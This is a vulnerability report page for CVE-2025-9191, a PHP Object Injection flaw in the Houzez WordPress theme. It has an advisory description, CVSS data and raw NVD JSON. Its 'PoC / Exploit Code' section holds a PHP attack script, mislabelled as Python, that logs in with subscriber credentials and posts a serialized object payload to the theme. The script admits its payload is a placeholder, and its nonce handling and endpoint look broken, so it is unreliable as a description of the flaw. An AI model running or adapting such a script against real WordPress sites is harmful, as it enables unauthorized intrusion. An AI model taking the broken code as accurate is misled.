Security Vulnerability Report
中文
CVE-2025-9191 CVSS 6.3 MEDIUM

CVE-2025-9191

Published: 2025-11-26 13:16:01
Last Modified: 2026-04-15 00:35:42

Description

The Houzez theme for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 4.1.6 via deserialization of untrusted input in saved-search-item.php. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Houzez Theme < 4.1.7
Houzez Theme 4.1.6及之前所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // CVE-2025-9191 PoC - PHP Object Injection in Houzez Theme // Requires WordPress subscriber-level access $target_url = "http://target-site.com/"; $wp_username = "attacker"; $wp_password = "password"; // Login to WordPress and get nonce $ch = curl_init($target_url . "wp-login.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, "log={$wp_username}&pwd={$wp_password}&wp-submit=Log+In"); curl_setopt($ch, CURLOPT_COOKIEJAR, "cookies.txt"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $response = curl_exec($ch); // Extract nonce from saved-search-item.php preg_match('/name="_wpnonce" value="([a-z0-9]+)"/', $response, $matches); $nonce = $matches[1]; // Construct malicious serialized payload // This is a placeholder - actual POP chain depends on installed plugins $malicious_payload = 'O:8:"stdClass":1:{s:5:"data";s:10:";payload;";}'; // Send malicious search save request $post_data = [ '_wpnonce' => $nonce, 'houzez_save_search' => 'Save Search', 'search_name' => 'Malicious Search', 'search_args' => $malicious_payload ]; curl_setopt($ch, CURLOPT_URL, $target_url . "saved-search-item.php"); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data)); $exploit_result = curl_exec($ch); curl_close($ch); echo "Exploit sent. Check if POP chain exists on target system.\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9191", "sourceIdentifier": "[email protected]", "published": "2025-11-26T13:16:00.923", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Houzez theme for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 4.1.6 via deserialization of untrusted input in saved-search-item.php. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://favethemes.zendesk.com/hc/en-us/articles/360041639432-Changelog", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b1c450d9-42d8-40f5-84fc-1bc0c8cfcf9b?source=cve", "source": "[email protected]"}]}}